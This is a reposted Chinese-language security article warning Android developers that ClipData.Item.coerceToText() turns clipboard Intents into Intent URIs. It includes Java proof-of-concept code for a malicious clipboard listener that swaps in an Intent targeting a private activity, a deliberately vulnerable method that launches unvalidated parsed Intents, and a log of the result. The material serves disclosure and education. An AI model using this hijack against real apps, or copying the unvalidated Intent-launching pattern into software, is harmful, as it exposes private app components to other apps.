转载

滥用Android ClipData会有什么后果?

概述

本文将要讲述一个滥用Android的ClipBoardManager最后自食恶果的故事

Clipboard框架

当你使用Android的 Clipboard框架 ,你将数据转换成一个剪切对象,然后将剪切对象传递到系统剪贴板。剪贴板同一时间只允许存在一个剪切对象,当应用在剪切板中传递一个剪切对象,前面一个剪切对象就会被移除。应用也不需要请求任何特殊许可就能对剪切板进行读取/写入。

coerceToText()

ClipData.Item 是ClipData中的一个item,在ClipData.Item中有一个名为coerceToText()的十分有趣的公共操作方法。该方法会将ClipData.Item中的数据转换为文本,无论其数据类型。

因为两个截然不同的东西,让它更添趣味:

1.它可以创建一个包含了Intent的ClipData,并将其放入全局剪切板中。 2.coerceToText()内部机制中会调用getIntent()。如果ClipData.Item中的Intent对象不为null,那么数据会被转换为Intent URI

另外,ClipboardManager提供了一个监听器,当primaryClipData有变化时就会提醒你,也就是说当添加了一些新的东西,它会进行提醒。

通过ClipData进行攻击

假说有一个应用通过某种类型的用户交互在剪切板中创建,增加一个包含了被认为是“公用”组件的Intent对象的ClipData

final ClipboardManager clipboardManager = (ClipboardManager)           getSystemService(Context.CLIPBOARD_SERVICE);                  Intent intent = new Intent(getApplicationContext(),  PublicActivity.class);   intent.setAction("android.intent.action.VIEW");   intent.putExtra("ExtraString", "foobar");    ClipData setClipData;   setClipData = ClipData.newIntent("intent", intent);   clipboardManager.setPrimaryClip(setClipData);

恶意应用可能会设置一个监听器来接收新增ClipData的通知

ClipboardManager.OnPrimaryClipChangedListener  onPrimaryClipChangedListener = new  ClipboardManager.OnPrimaryClipChangedListener() {          @Override                                                                                                    public void onPrimaryClipChanged() {                                            try {                                                                                                         replaceClipData(clipboardManager);                                                                                             } catch (URISyntaxException e) {                                                e.printStackTrace();                                       }                                                }                                                };

一旦检测到新的ClipData,它可以通过在剪切板增加一个包含了新的Intent对象的恶意ClipData

ClipData getClipData = clipboardManager.getPrimaryClip();   ClipData.Item item;                                                         = getClipData.getItemAt(0);    Log.d("MaliciousApplication", item.toString());                                                                          CharSequence charSequence =  item.coerceToText(this.getApplicationContext());   String intentURI = charSequence.toString();                                                                              Log.d("MaliciousApplication", "Found Intent URI : " + intentURI + " : Replacing!");                                      Intent intent = new Intent();   intent.setComponent(new ComponentName("com.rotlogix.clipdatacapture", "com.rotlogix.clipdatacapture.PrivateActivity"));   intent.setAction("android.intent.action.VIEW");                                                                          Log.d("MaliciousApplication", intent.toString());                                                                        ClipData setClipData;   setClipData = ClipData.newIntent("intent", intent);   clipboardManager.setPrimaryClip(setClipData);

如果在ClipData中发现的数据是一个Intent,那么coerceToText()会返回一个Intent URI。如果一个应用想要从URI创建一个Intent,它肯定得在返回的字符串调用parseUri(),这也就是苦果的由来。

public void startActivityFromClipData(ClipboardManager clipboardManager) throws URISyntaxException {       ClipData getClipData = clipboardManager.getPrimaryClip();                                              ClipData.Item item;                                                                                    item = getClipData.getItemAt(0);                                                                       String clipDataString = item.coerceToText(this.getApplicationContext()).toString();                    Intent intent = Intent.parseUri(clipDataString, 0);                                                    startActivity(intent);                                                   }

应用程序在传递给startActivity()之前,调用一个未经验证的隐形Intent

I/ActivityManager( 6422): START u0 {act=android.intent.action.VIEW cmp=com.rotlogix.clipdatacapture/.PrivateActivity} from pid 9040

总结

到目前为止,我个人还没有看到有人利用这种方法搞破坏。但是作为一个有趣的案例,同时给开发者提个醒也是不错的。

*参考来源: rotlogix ,编译/FB小编鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

正文到此结束
Loading...